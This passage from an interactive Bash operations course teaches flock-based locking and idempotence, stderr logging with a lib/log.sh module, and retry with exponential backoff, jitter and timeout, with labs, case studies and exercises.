echo "$line" >> /etc/hosts (duplicate appends)grep -qxF -- "$line" /etc/hosts || echo "$line" >> /etc/hosts
ln -s v2 current (fails if it exists, or creates inside current/)ln -sfn -- v2 current
useradd appid -u app >/dev/null 2>&1 || useradd app
rewrites the output file every time (triggers a downstream reload)new content vs. old content cmp -s skip if identical (opsctl export)
“run a migration once”write a marker file / version number when done, and check the marker next time

When: which mutual-exclusion mechanism to choose

MechanismAdvantagesDrawbacksUse case
flockkernel-atomic, auto-released on process death, supports waiting and shared locksLinux-specific tool (macOS needs it installed separately); NFS behavior depends on implementationdefault choice
mkdir mkdir lockPOSIX-atomic, available everywherea SIGKILLed process leaves a stale lock; needs PID checks and timeoutsenvironments without flock
PID fileshows the holdercheck and write are not atomic; PID reuse causes false resultsfor display only, not for mutual exclusion
systemd timera unit is not started again while the same service is still runningonly manages one unit on one hostfirst choice for scheduled jobs
distributed locks (etcd, Consul, database row locks)cross-hostintroduces external dependenciesmultiple machines compete for the same resource
Common misconceptions① “flock prevents others from modifying this file” — advisory locks only constrain processes that also lock. ② “You must delete the lock file when the script exits” — no need, and deleting introduces races. ③ “Once locked, idempotence is unnecessary” — locks only prevent concurrency; reruns must still be correct. ④ “flock -n failing returns 1, and it cannot be told apart from command failure” — use -E 75 a conflict exit code such as this to distinguish them (to keep the 0/1/2/3 convention, opsctl returns 1 on conflict and prints a clear log).

Timing diagram: two instances competing for the same lock

Process A (cron 08:00)Process B (cron 08:05)Process C (-w 30) holds lock: backup runs 7 minutes exits → kernel closes fd → lock released flock -n fails prints “instance already running”, exit code 1 (or as set by -E) waiting… gets the lock, starts running 08:0008:0508:07
Figure 4-1: -n gives up immediately, -w waits until timeout; the lock is released when all fds of the holding process are closed

Why you must not delete the lock file

A: holds the lock on inode #100before finishing, runs rm lockfile B: has opened inode #100, waitingafter A exits, B gets the lock on #100 C: opens the same path name → new inode #200immediately gets the lock on #200 B and C are in the critical section at once — mutual exclusion failsThe lock protects the inode, while a path name can point to different inodes
Figure 4-2: keep the lock file permanently; its contents can record holder info for troubleshooting

Simulator: concurrent timeline of two instances

Set the task duration, B's start time and locking method, then click “▶ Run”. Grey bars mean waiting, green means running in the critical section, red means conflict or giving up. Turn on “delete the lock file when A ends” to see how mutual exclusion breaks.

Choose a locking method.

Four common forms

# ① wrap the command (simplest in cron)
*/5 * * * * flock -n /run/lock/backup.lock /usr/local/bin/backup.sh

# ② inside the script: open an fd with exec (Bash 4.1+ allocates the fd automatically)
exec {lock_fd}>>"$HOME/bashlab/opsctl/var/lock/export.lock"
flock -n "$lock_fd" || { echo "an instance is already running" >&2; exit 1; }

# ③ subshell + fixed fd (the man page example style)
(
  flock -n 9 || exit 1
  # … critical section …
) 9>"$HOME/bashlab/ch04/var/demo.lock"

# ④ the script locks itself (man page example; suits cases where you do not want to change the script body)
[ "${FLOCKER}" != "$0" ] && exec env FLOCKER="$0" flock -en "$0" "$0" "$@" || :
CommandEffect
flock -n -E 75 LOCK cmdexits with 75 on conflict (to distinguish it from cmd's own failure)
flock -w 30 LOCK cmdwait at most 30 seconds
flock -s LOCK cat datashared lock: multiple readers in parallel
flock -o LOCK start-daemonclose the lock fd before running the command so a daemon does not inherit the lock
flock --verbose …report how long it waited / why it failed
cat /proc/locks,lslocksview locks in the system and their holder PIDs (lslocks comes from util-linux)
fuser -v LOCK / lsof LOCKsee who has the lock file open
lslocks -o COMMAND,PID,TYPE,MODE,PATH | grep -E 'COMMAND|bashlab'
COMMAND           PID  TYPE MODE PATH
bash            41237 FLOCK WRITE /home/you/bashlab/ch04/var/demo.lock

Without flock: a mkdir lock

lockdir="$HOME/bashlab/ch04/var/job.lockdir"
if mkdir -- "$lockdir" 2>/dev/null; then
  printf '%s\n' "$$" >"$lockdir/pid"
  trap 'rm -rf -- "$lockdir"' EXIT          # only the process that got the lock registers the deletion
else
  echo "instance already running (pid $(cat -- "$lockdir/pid" 2>/dev/null || echo ?))" >&2
  exit 1
fi

mkdir is atomic, but after a process is SIGKILLed, lockdir the lock directory is left behind (a stale lock), needing manual cleanup or kill -0 PID a check before clearing — this is exactly why flock is better.

Lab 4: two terminals competing for the lock (about 6 min)

Requires flock (util-linux) on Linux. The output in this section is an example (the authoring environment has no flock, so it was not actually run); PIDs and times depend on your environment.

Prepare the script:
#!/usr/bin/env bash
# locked-job.sh [wait seconds] —— demonstrates flock: only one instance at a time
set -Eeuo pipefail
wait_s=${1:-0}
lock="$HOME/bashlab/ch04/var/job.lock"
mkdir -p -- "${lock%/*}"
exec {fd}>>"$lock"
if (( wait_s > 0 )); then
  flock -w "$wait_s" "$fd" || { echo "[$$] still no lock after waiting ${wait_s}s" >&2; exit 1; }
else
  flock -n "$fd" || { echo "[$$] an instance is already running, skipping" >&2; exit 1; }
fi
echo "[$$] got the lock (fd $fd), working for 10 seconds…" >&2
sleep 10
echo "[$$] done" >&2
Terminal 1: bash ~/bashlab/ch04/locked-job.sh; Within 10 seconds, terminal 2:
bash ~/bashlab/ch04/locked-job.sh; echo "rc=$?"
bash ~/bashlab/ch04/locked-job.sh 15; echo "rc=$?"
[41301] an instance is already running, skipping
rc=1
[41305] got the lock (fd 10), working for 10 seconds…      ← appears only after terminal 1 finishes
[41305] done
rc=0
SIGKILL also releases the lock: after terminal 1 starts, run in terminal 2 pkill -9 -f locked-job.sh, then immediately run again locked-job.sh— it gets the lock at once; there is no stale lock.
Pitfall: inherited fd:
bash -c 'exec {fd}>>"$HOME/bashlab/ch04/var/job.lock"; flock -n "$fd"; sleep 60 & echo "child $!"; echo "parent exits"'
bash ~/bashlab/ch04/locked-job.sh; echo "rc=$?"     # the parent has exited, but sleep still holds the lock
lslocks | grep job.lock
child 41320
parent exits
[41322] an instance is already running, skipping
rc=1
sleep           41320 FLOCK WRITE 0     0   0 /home/you/bashlab/ch04/var/job.lock

Fix: close the lock fd when starting the background process: sleep 60 {fd}>&- &. After finishing, pkill -f "sleep 60".

Idempotence check: run the command below twice in a row; the second run should produce no change:
f=~/bashlab/ch04/var/hosts.demo; touch -- "$f"
line="10.0.1.11 web-01"
grep -qxF -- "$line" "$f" || echo "$line" >> "$f"
grep -qxF -- "$line" "$f" || echo "$line" >> "$f"
wc -l < "$f"
1
Cleanup: rm -f -- ~/bashlab/ch04/var/hosts.demo (the lock file may be kept).

Case 1: overlapping cron backups corrupted the archive

Problem: After data growth the backup went from 3 minutes to 6 minutes,*/5 so the cron job let two tar processes write the same file at once. Fix:flock -n -E 75 /run/lock/backup.lock backup.sh, monitoring records exit code 75 as “skipped” rather than “failed”; and go further by switching to a systemd timer. Limitation: Skipping means that round has no backup, so there must be an alert on “time of last successful backup”.

Case 2: the lock was “stolen” by a daemon

Problem: After the deployment script takes the lock, systemctl restart a service ... runs normally; but another script uses nohup ./agent & to start an agent, after which every deployment reports “instance already running”. lslocks The lock holder shows as agent. Fix: When starting the background process, {fd}>&- close the lock fd; in command form use flock -o.

Case 3: a cleanup script deleted a “stale” lock file

Problem: To “keep things tidy”, a cleanup job deleted every day /var/lock/*.lock, and occasionally two import jobs ran in parallel, duplicating data. Fix: Keep lock files permanently; make the import itself idempotent (deduplicate by batch ID / upsert).

Common errors and fixes

flock: command not found (macOS / minimal containers)

Cause: flock belongs to util-linux, and macOS and Alpine do not ship it by default.

Fix: Debian/Ubuntu: apt install util-linux (usually installed already); Alpine: apk add util-linux (or the simplified flock bundled with BusyBox, with fewer options); macOS: brew install flock or a mkdir lock. opsctl uses util::require_cmd flock and reports it with exit code 3.

flock: cannot open lock file /run/lock/x.lock: Permission denied

Cause: Ordinary users cannot write to /run/lock (or the directory does not exist).

Fix: For user-level tasks, put the lock in $XDG_RUNTIME_DIR or the application directory; for a systemd service use RuntimeDirectory=.

The job keeps reporting “instance already running”, but ps cannot see the script

Cause: The lock fd is inherited by a child process started by the script.

lslocks | grep LOCKNAME; fuser -v /path/to/LOCKNAME

Fix: find the holder; close the lock fd when starting background processes, or use flock -o.

bash: {fd}: ambiguous redirect / syntax error near unexpected token

Cause: Bash older than 4.1 does not support {var}> automatic fd allocation, or the script was run by sh .

Fix: Confirm you run with Bash ≥ 4.1; on older environments use a fixed fd: exec 9>>"$lock"; flock -n 9.

Command-line exercises
1. Write a crontab entry: run sync.sh every 10 minutes; if the previous run has not finished, skip, and use 75 to signal the skip.
*/10 * * * * flock -n -E 75 /run/lock/sync.lock /usr/local/bin/sync.sh
2. In a script, acquire the lock, waiting at most 20 seconds.
exec {lfd}>>"$LOCKFILE"
flock -w 20 "$lfd" || { echo "timeout waiting for lock" >&2; exit 1; }
Scenario analysis
The same cron job on two servers both update the manifest file under the same S3 prefix. Each machine added flock, yet conflicts still occur. Why? What should you do?

flock is a single-host kernel lock; it only constrains processes on the same machine (the same filesystem implementation). Across hosts you need a distributed lock (such as DynamoDB conditional writes, an etcd lease, or database row locks), or schedule the job on just one machine (leader election, a single-instance CronJob). Also make the update idempotent, or use object-storage conditional writes (If-Match / version numbers).

teaching videos

No YouTube video verified via oEmbed that specifically explains flock the English video. Authoritative references:

Video storyboard (about 75 seconds)

Shot 1 · 0–20s
Visual: two cron timelines overlap; two processes write the same archive at once; the file icon shatters.
Narration: once jobs slow down, scheduled jobs start to overlap.
Shot 2 · 20–45s
Visual: process A gets the lock (a lock icon connected to the fd); process B hits the lock — with -n it leaves at once, with -w it queues and waits.
Narration: flock mutual exclusion is guaranteed by the kernel. -n gives up immediately; -w waits for a while.
Shot 3 · 45–60s
Visual: A is killed with kill -9, and the lock icon opens automatically.
Narration: when a process dies the kernel closes its file descriptors; the lock is released automatically and no stale lock remains.
Shot 4 · 60–75s
Visual: after rm of the lock file, two inodes appear, and both locks are taken at once.
Narration: never delete the lock file. The lock protects the inode, not the path name.
or score ≥ 70% on the quiz

Module 5 · Logging and observability: log functions, levels and stderr

28:00 – 35:00 · stdout is data for the next program, stderr is messages for people — this one rule determines whether scripts can be composed
7 minprintf '%(...)T' builtin timeNO_COLOR★★★★☆
Learning objectives
  • Explain why logs must go to stderr (fd 2) and data to stdout (fd 1), and where they go in pipes, command substitution, cron and systemd.
  • Implement log::debug/info/warn/error: level filtering, ISO 8601 timestamps, program name and PID, color only on a terminal, optional file output.
  • Can use printf -v and %(fmt)T to avoid forking once per log line date; know how logger / systemd-cat sends logs to journald.
  • Know what must never be written to logs (keys, tokens, passwords in full command lines).
Prerequisites: redirection (Lesson 1), functions (Lesson 3). Importance:★★★★☆

What: what a good log line contains

2026-11-17T02:43:15-0500 WARN  opsctl[1210]: region is empty, using default value
└──── time (with timezone) ────┘ └level┘ └program[PID]┘ └──────── message ────────┘
  • Timestamp: ISO 8601 with timezone offset, so ordering across time zones and hosts stays correct.
  • Level: debug (troubleshooting details), info (key steps), warn (recoverable anomalies), error (failures). Filter by LOG_LEVEL .
  • Program name and PID: lets you tell logs apart when multiple instances or scripts are mixed together.
  • Message: state “what is done, to what object, and with what result”; include key parameters but never secrets.

Why: why write to stderr

ScenarioConsequence of logging to stdoutLogging to stderr
opsctl servers list | wc -lline count includes the logs toocounts only data lines
ips=$(opsctl servers list)log text mixed into variablesvariables contain only data; logs still show on the terminal
opsctl export … > out.csvlog lines mixed into CSVfile stays clean
cronboth get emailed (if MAILTO is configured)can be 2>>job.log collected separately
systemd servicestdout and stderr both go to journald by default; stderr is not automatically marked as error level, so you need <3> a prefix, or logger -p

POSIX describes stderr exactly as “for writing diagnostic output”. The Google Shell Style Guide also requires “All error messages should go to STDERR”.

How: implementation points

  • Do not fork: printf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1 is the builtin time formatting in Bash 4.2+; -1 -1 means the current time; it is much faster than $(date …) creating a subprocess each time. Bash 5.0+ also has $EPOCHSECONDS,$EPOCHREALTIME (microseconds) for timing.
  • Write the whole line in one go: first build it with printf -v line , then write it in one printf '%s\n' "$line" >&2. When multiple processes write the same log file with >> (O_APPEND), each write seeks to the end of the file, so writing a whole line at once usually does not interleave with other processes; splitting one line across several printf calls can interleave (when writing to a pipe, atomicity is only guaranteed up to PIPE_BUF bytes).
  • Level mapping: associative array [debug]=10 [info]=20 [warn]=30 [error]=40; an unknown LOG_LEVEL falls back to info (opsctl's config::init also rejects invalid values as a usage error).
  • Color: only when [[ -t 2 ]] (stderr is a terminal) and NO_COLOR (no-color.org convention) is not set will ANSI color codes be output, to avoid \e[31m in log files.
  • Log functions always return 0: otherwise under set -e , the return value 1 of “debug filtered” would exit the script —(( rank >= want )) || return 0, rather than (( rank >= want )) || return.
  • Do not exec 2>>file permanently redirect all stderr, unless you are sure there is no interactive need; a more flexible approach is to OPSCTL_LOG_FILE also write a copy.

When: where to write

Run modeRecommended
Interactive runstderr (with color)
systemd service / timerstderr is enough (journald adds time and unit name automatically); when a priority is needed, logger -t opsctl -p user.err or systemd-cat -t opsctl -p err
cron2>>"$HOME/bashlab/log/opsctl.log" or OPSCTL_LOG_FILE=; use with logrotate
Containerstdout/stderr, collected by the container runtime; do not write files inside the container
needs to be parsed by machinesone JSON per line: jq -nc --arg lvl "$level" --arg msg "$*" '{ts:now|todate,lvl:$lvl,msg:$msg}' (one fork per log line — mind the overhead)
Common misconceptions① “echo "error" >&2 is too much trouble, just use echo” — once the script is used in a pipe, it pollutes the data. ② “set -x is logging” — it prints every command (including password arguments) to stderr; good for troubleshooting, not for production; when needed, use BASH_XTRACEFD to send it to a separate fd. ③ “Timestamps via $(date) are fine” — one fork per log line makes it noticeably slow when logging tens of thousands of lines in a loop, and the default format changes with locale. ④ “Everything in stderr is an error” — stderr is the “diagnostic” channel, and info-level progress messages belong there too.

Data flow: where stdout and stderr go

opsctl servers listprintf data line → fd 1log::info → fd 2 fd 1 stdout | wc -l / | awkreceives only data fd 2 stderr terminal / journalddiagnostic messages for people x=$(opsctl servers list)command substitution captures only fd 1; logs still print to the terminal opsctl … 2>>opsctl.logcollect logs separately in cron systemd: both go to journaldjournalctl -u opsctl.service
Figure 5-1: separate data from diagnostics so scripts can be composed like Unix tools

Internal flow of log::_emit

log::warn "msg"level=warn rank 30 ≥ want ?no → return 0 printf -v ts '%(…)T' -1builtin, no fork [[ -t 2 ]] and no NO_COLOR→ add color single write to >&2also saved to OPSCTL_LOG_FILE
Figure 5-2: the five steps of the log function

Interactive: LOG_LEVEL filtering and data flow

Drag LOG_LEVEL, switch “where logs are written”, then click “▶ Run opsctl servers list --env prod | wc -l”. Observe what the terminal (stderr) and the pipe (stdout) each receive.

Terminal (fd 2 stderr)
pipe → wc -l (fd 1 stdout)
LOG_LEVEL=info: debug is filtered out.

Logging syntax and commands

FormEffectNotes
printf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1write current time to a variableBash 4.2+; -2 means the shell's start time
${level^^} / ${LOG_LEVEL,,}uppercase / lowercase conversionBash 4.0+
>&2write to stderrequivalent to 1>&2
[[ -t 2 ]]whether stderr is a terminaldecides whether to color
logger -t TAG -p user.warning "msg"write to syslog / journaldutil-linux; --id=$$ records PID
systemd-cat -t TAG -p err cmdsend command output to journald
journalctl -t TAG -p warning --since todayquery by tag and priority
exec {xfd}>>trace.log; BASH_XTRACEFD=$xfd; set -xwrite xtrace to a separate fileBash 4.1+; PS4='+ ${BASH_SOURCE##*/}:${LINENO}: ' adds location

Actual run: level filtering and flow

. lib/log.sh
OPSCTL_PROG=logdemo
log::debug "read config etc/opsctl.conf"
log::info  "starting export of servers"
echo "web-01,prod"            # data → stdout
log::warn  "region is empty, using default value"
log::error "connection timed out"
export NO_COLOR=1
bash logdemo.sh
LOG_LEVEL=debug bash logdemo.sh | wc -l
LOG_LEVEL=warn  bash logdemo.sh 2>/dev/null
2026-11-17T02:43:15-0500 INFO  logdemo[1973]: starting export of servers
web-01,prod
2026-11-17T02:43:15-0500 WARN  logdemo[1973]: region is empty, using default value
2026-11-17T02:43:15-0500 ERROR logdemo[1973]: connection timed out
2026-11-17T02:43:15-0500 DEBUG logdemo[1974]: read config etc/opsctl.conf
2026-11-17T02:43:15-0500 INFO  logdemo[1974]: starting export of servers
2026-11-17T02:43:15-0500 WARN  logdemo[1974]: region is empty, using default value
2026-11-17T02:43:15-0500 ERROR logdemo[1974]: connection timed out
1
web-01,prod

wc -l Only 1 data line is counted; the last command discards stderr so only data remains.

Lab 5: implement lib/log.sh (about 6 min)

Upgrade opsctl's logging module (v0.2 final file, replacing the v0.1 version from Lesson 3; function names,LOG_LEVEL, include guard, _OPSCTL_LOG_SH all remain unchanged):
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error (v0.2)
# Convention: all logs go to stderr; stdout is reserved for “data” (it can be captured by pipes, redirection, $(...)).
# v0.2 adds: PID, color only on terminals (respects NO_COLOR), OPSCTL_LOG_FILE saves a copy, always returns 0
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0   # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1

declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info}              # set by bin/opsctl after parsing the config

log::_emit() {   # log::_emit <level> <message...>
  local level=$1; shift
  local want=${_LOG_RANK[$LOG_LEVEL]:-20}
  (( ${_LOG_RANK[$level]:-20} >= want )) || return 0
  local line color='' reset=''
  # %(...)T is the printf builtin time format (Bash 4.2+); no need to fork a date process
  printf -v line '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s[%d]: %s' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$$" "$*"
  if [[ -t 2 && -z ${NO_COLOR-} ]]; then
    case $level in
      debug) color=$'\e[2m' ;; warn) color=$'\e[33m' ;; error) color=$'\e[31m' ;;
    esac
    [[ -n $color ]] && reset=$'\e[0m'
  fi
  printf '%s%s%s\n' "$color" "$line" "$reset" >&2   # write the whole line at once
  if [[ -n ${OPSCTL_LOG_FILE-} ]]; then
    printf '%s\n' "$line" >>"$OPSCTL_LOG_FILE" || true   # the file never contains color
  fi
  return 0
}
log::debug() { log::_emit debug "$@"; }
log::info()  { log::_emit info  "$@"; }
log::warn()  { log::_emit warn  "$@"; }
log::error() { log::_emit error "$@"; }

Compared with v0.1, added: [%d] PID ($$ still the main process PID inside a subshell; to get the subshell's PID use $BASHPID), color only on terminals,OPSCTL_LOG_FILE,printf -v build the full line and write it once, and end with return 0. Kept: include guard,declare -gA (still a global variable when sourced inside a function),LOG_LEVEL set by config::init .

Verification: run the three combinations with logdemo.sh from the “Commands” page above and confirm wc -l the result is 1.
Writing to a file and unknown levels:
OPSCTL_LOG_FILE=~/bashlab/ch04/demo.log LOG_LEVEL=error bash logdemo.sh >/dev/null 2>&1; cat ~/bashlab/ch04/demo.log; rm -f ~/bashlab/ch04/demo.log
LOG_LEVEL=verbose bash logdemo.sh 2>&1 >/dev/null | head -2
2026-11-17T02:43:15-0500 ERROR logdemo[1977]: connection timed out
2026-11-17T02:43:15-0500 INFO  logdemo[1980]: starting export of servers
2026-11-17T02:43:15-0500 WARN  logdemo[1980]: region is empty, using default value

unknown level verbose falls back to info. Note 2>&1 >/dev/null the order: first point stderr at the current stdout (the pipe), then discard stdout.

send to journald (optional, on systemd hosts):
logger -t opsctl -p user.warning "region is empty, using default value"
journalctl -t opsctl -n 1 --no-pager
Nov 17 02:20:01 linuxlab opsctl[42011]: region is empty, using default value

Case 1: a monitoring script wrote logs into the metrics

Problem: The Prometheus textfile collector reads check.sh > /var/lib/node_exporter/check.prom, and one day the script added a line echo "checking disk...", the entire .prom file failed to parse, and all custom metrics disappeared. Fix: change progress messages to log::info (stderr), and write the .prom file with Module 3's atomic replacement.

Case 2: a database password appeared in the logs

Problem: To troubleshoot, a line was added to a cron script: set -x,mysql -p"$DB_PASS" whose expansion ended up in the central logging platform. Fix: use --defaults-extra-file or environment variables to pass credentials; enable only locally set -x and set +x turn it off; mask known sensitive variables in the log functions. Limitation: Credentials that have already leaked must be rotated.

Case 3: timestamps without a time zone scrambled the incident timeline

Problem: Logs from multi-region servers (canadacentral and ca-central-1 are set to different time zones) had timestamps without offsets, so the order was scrambled during the postmortem. Fix: Standardize on %z offsets, or TZ=UTC output UTC.

Common errors and fixes

Script exits silently on the first call to log::debug

Cause: The last statement in the log function is (( rank >= want )) && printf …, so when the message is filtered out the function returns 1,set -e and the script exits.

Fix: Have the log function explicitly return 0; use || return 0 the form to filter.

printf: `(': invalid format character

Cause: The called command is an external /usr/bin/printf or Bash is below 4.2, which does not support %(fmt)T.

Fix: Confirm you use the builtin printf in Bash (do not env printf); upgrade Bash on macOS.

Garbled text such as ^[[31m appears in the log file

Cause: ANSI colors are output unconditionally. Fix: Color only when [[ -t 2 ]] and NO_COLOR is unset; the copy written to the file never has color.

The variable from $(opsctl servers list) contains “INFO …” text

Cause: A function used echo to output progress information.

grep -nE '^\s*echo ' lib/*.sh | grep -v '>&2'

Fix: Change all progress and prompt output to log::*.

declare: -A: invalid option

Cause: Bash 3.2 (built into macOS) does not support associative arrays. Fix: Use Bash ≥ 4.4 (the opsctl v0.2 entry point checks this and exits with code 3).

Command-line exercises
1. Without calling date, store the current UTC time in the variable now in ISO 8601 format.
TZ=UTC printf -v now '%(%Y-%m-%dT%H:%M:%SZ)T' -1; echo "$now"
2. Run opsctl so that only stderr is appended to a log file, while stdout continues into the pipe.
opsctl servers list --env prod 2>>~/bashlab/log/opsctl.log | wc -l
Scenario analysis
A script must both show progress to people and be used by another script $( ) to get its results. A colleague suggests adding a --quiet option to turn off progress output. Do you have a better approach?

Write progress to stderr and results to stdout; the two are naturally separate,$( ) so the caller captures only the results and no --quiet is needed. --quiet is still useful, but its purpose is to lower the log level (LOG_LEVEL=warn), not to protect the data channel.

Verified teaching videos

▶
Bash Scripting for Beginners: Complete Guide to Getting Started - Data Streams (Part 11) — Learn Linux TV
English · stdin / stdout / stderr and redirection, the foundation of “logging to stderr”

Official documentation

Video storyboard (about 60 seconds)

Shot 1 · 0–20s
Visual: one script with two output pipes; blue fd1 flows to wc, orange fd2 flows to the terminal.
Narration: data goes to standard output; messages for people go to standard error.
Shot 2 · 20–40s
Visual: in the bad example, INFO lines flow into a CSV file, and the file turns red.
Narration: once logs are written to standard output, they pollute pipes, variables and files.
Shot 3 · 40–60s
Visual: the LOG_LEVEL slider is dragged from debug to warn, and log lines gradually decrease.
Narration: use levels to control verbosity, include the time zone in timestamps, and use color only for terminals.
or score ≥ 70% on the quiz

Module 6 · Retries, backoff and timeouts

35:00 – 42:00 · Transient failures are worth retrying, permanent ones are not; every attempt needs a time limit, and there should be randomized waits between attempts
7 minGNU timeout 124 / 137Full Jitter★★★★☆
Learning objectives
  • Distinguish retryable errors (network timeouts, HTTP 429/502/503/504, lock conflicts) from non-retryable errors (usage error 2, command not found 127, permission 126, HTTP 4xx validation failures).
  • Implement exponential backoff: delay = min(cap, base × 2^(n-1)), and add “full jitter”sleep = random(0, delay), and understand why it avoids thundering herds.
  • Use timeout to cap each individual attempt: -s,-k,--preserve-status, and the exit codes 124, 125, 126, 127, 137.
  • Know that timeout cannot be applied directly to shell functions, and if "$@" when calling a function, set -e is disabled, and the effect of that.
Prerequisites: Module 1 (conditional contexts), Module 5 (logging). Importance:★★★★☆

What: the three retry parameters

ParameterMeaningopsctl default
Max attempts triestotal attempts, including the firstfirst argument, e.g. 5
Base delay delayupper bound on the wait after the first failure (seconds), doubling each time after thatsecond argument, e.g. 1
Per-wait cap capthe ceiling for exponential growthRETRY_MAX_DELAY=30

upper bound of the wait after the n-th failure delay = min(cap, base × 2^(n-1)): 1, 2, 4, 8, 16, 30, 30, … then picks uniformly at random within [0, delay] as the actual wait (called “Full Jitter” in the AWS Architecture Blog article “Exponential Backoff And Jitter” Full Jitter).

Why: why back off, why add jitter

  • Fixed-interval retries (once per second) keep pressure on an overloaded service and prolong the outage.
  • Exponential backoff without jitter: 100 machines fail at the same moment and retry together at 1s, 3s, 7s…; the “thundering herd” is merely postponed.
  • Full jitter spreads retries across the whole interval, so the server sees smooth traffic. AWS's simulations conclude that among several jitter strategies, Full Jitter and Decorrelated Jitter both clearly beat no jitter on total work and completion time.

How: what can be retried

SituationExit code / signalRetry?
Brief network drop, connection timeoutcurl 6/7/28, etc.; timeout returns 124✓
HTTP 429 / 502 / 503 / 504curl -f returns 22 (check the status code)✓ (if Retry-After present, respect it)
Lock held by another processflock -E the specified code✓ (or skip directly)
Usage error2✗ retrying 100 times gives the same result
Command not found / not executable127 / 126✗
HTTP 400 / 401 / 403 / 404check the status code✗ (for 401, perhaps refresh the token and try once more)
Non-idempotent operations (creating orders, appending data)any⚠ retry only if the server supports idempotency keys

timeout: give each attempt a limit

GNU coreutils timeout DURATION COMMAND: sends TERM when time is up (-s can be changed),-k DURATION and sends KILL if it has not exited afterwards. Exit codes from the manual:

Exit codeManual text
124“if COMMAND times out, and --preserve-status is not specified”
125“if the timeout command itself fails”
126“if COMMAND is found but cannot be invoked”
127“if COMMAND cannot be found”
137“if COMMAND (or timeout itself) is sent the KILL (9) signal”
Otherthe command's own exit code
  • timeout is an external program,so it cannot directly run a shell function (measured: timeout: failed to run command 'f': No such file or directory, exit code 127). Options: export -f f; timeout 10 bash -c f, or add timeout separately to the external commands inside the function.
  • --foreground: use when the command needs to read the terminal (but then the child's children are not killed).
  • Bash builtins also have time limits: read -t 5,wait -n (Bash 5.1+ supports -p to get the PID),TMOUT.

When: write your own retry, or use the built-in

options of the toolretry / timeout
curl--retry N (by default retries only transient errors: timeouts, 408, 429, 500, 502, 503, 504),--retry-max-time,--retry-all-errors,--connect-timeout,--max-time
wget--tries,--waitretry,--timeout
ssh-o ConnectTimeout=5 -o ServerAliveInterval=15
apt-o Acquire::Retries=3
any commandutil::retry tries delay timeout 10 cmd args…
Common misconceptions① “More retries are always better” — you need a total time budget (attempts × per-attempt timeout + waiting), or a single failure can hang the pipeline for tens of minutes. ② “sleep $((2**n)) is enough” — no jitter, no cap. ③ “until cmd; do sleep 1; done is concise” — with no attempt limit, even 127 is retried forever. ④ “util::retry 3 1 my_func inside my_func fails and stops immediately” —if "$@" is a conditional context, so inside the function body set -e is disabled (Module 1); the function must itself || return.

Backoff curve: cap vs actual wait

sn-th failure cap = 30s 1234567 124816
Figure 6-1: light-blue boxes show the cap min(cap, base·2^(n-1)) (base=1); green shows the actual wait after full jitter (illustrative, random)

State machine of one retry loop

timeout 10 cmdn-th attempt success → return 0 2 / 126 / 127non-retryable → return rc other failure (including 124)n ≥ max → return rc delay=min(cap, base·2^(n-1))sleep random(0, delay) log::warn · n++
Figure 6-2: util::retry decisions: success, non-retryable, attempts exhausted, retry after backoff

Simulator: backoff curve + thundering herd

Adjust the parameters and click “▶ Simulate”. Top: the wait before each retry for a single client (box = cap, solid = actual value). Bottom: 50 clients fail simultaneously at t=0; the chart shows the distribution of their 1st–3rd retries on the timeline — compare “no jitter” and “full jitter”.

timeout and related commands

CommandNotes
timeout 10 cmdsends TERM after 10 seconds, returns 124
timeout -k 5 10 cmdsends KILL if still running 5 seconds after TERM (137)
timeout -s INT 10 cmduse INT instead (some programs clean up more thoroughly on INT)
timeout --preserve-status 10 cmdon timeout, return the command's own status (e.g. 143) instead of 124
timeout 0.5 cmd / 1m / 2hsupports decimals and s/m/h/d suffixes
curl -fsS --connect-timeout 3 --max-time 10 --retry 3 URLcurl's built-in timeout and retry
timeout 1 sleep 5; echo "timeout rc=$?"
timeout -k 1 1 bash -c 'trap "" TERM; sleep 5'; echo "kill-after rc=$?"
f(){ sleep 1; }; timeout 2 f; echo "func rc=$?"
export -f f; timeout 2 bash -c f; echo "export -f rc=$?"
timeout rc=124
… Killed                  timeout -k 1 1 bash -c 'trap "" TERM; sleep 5'
kill-after rc=137
timeout: failed to run command 'f': No such file or directory
func rc=127
export -f rc=0

In the second case the child process ignored TERM and was killed with KILL after 1 second,timeout returning 137. Ubuntu 26.04's uutils timeout supports the same options and exit-code conventions; error text may differ.

RANDOM and SRANDOM

VariableRangeNotes
$RANDOM0–32767pseudo-random, good enough for jitter; (RANDOM<<15)|RANDOM gives 30 bits
$SRANDOM32 bitsBash 5.1+, from the system entropy source (getrandom), unpredictable, suits scenarios that need unpredictability
$EPOCHREALTIMEseconds.microsecondsBash 5.0+, computes elapsed time

Lab 6: util::retry + flaky script (about 6 min)

Retry function util::retry <tries> <delay> <cmd> [args…] (Module 8 appends it to ~/bashlab/opsctl/lib/util.sh; Lesson 6 uses this signature directly):
# ---------- retry: exponential backoff + full jitter ----------
# util::retry <tries> <delay> <cmd> [args...]
#   after the n-th failure, wait random(0, min(RETRY_MAX_DELAY, delay * 2^(n-1))) seconds
#   exit codes 2 / 126 / 127 are treated as non-retryable; an optional "--" is ignored
util::retry() {
  local tries=$1 base=$2; shift 2
  [[ ${1-} == -- ]] && shift
  local attempt=1 rc cap=${RETRY_MAX_DELAY:-30} delay ms pause
  while true; do
    if "$@"; then
      (( attempt == 1 )) || log::info "attempt $attempt succeeded: $*"
      return 0
    else
      rc=$?
    fi
    case $rc in
      2|126|127) log::error "not retrying (exit $rc): $*"; return "$rc" ;;
    esac
    if (( attempt >= tries )); then
      log::error "giving up after $tries attempts (exit $rc): $*"
      return "$rc"
    fi
    delay=$(( base * (1 << (attempt - 1)) ))
    (( delay > cap )) && delay=$cap
    ms=$(( ( (RANDOM << 15) | RANDOM ) % (delay * 1000 + 1) ))   # full jitter
    printf -v pause '%d.%03d' $(( ms / 1000 )) $(( ms % 1000 ))
    log::warn "attempt $attempt/$tries failed (exit $rc), retrying in ${pause}s"
    sleep "$pause"
    (( ++attempt ))
  done
}

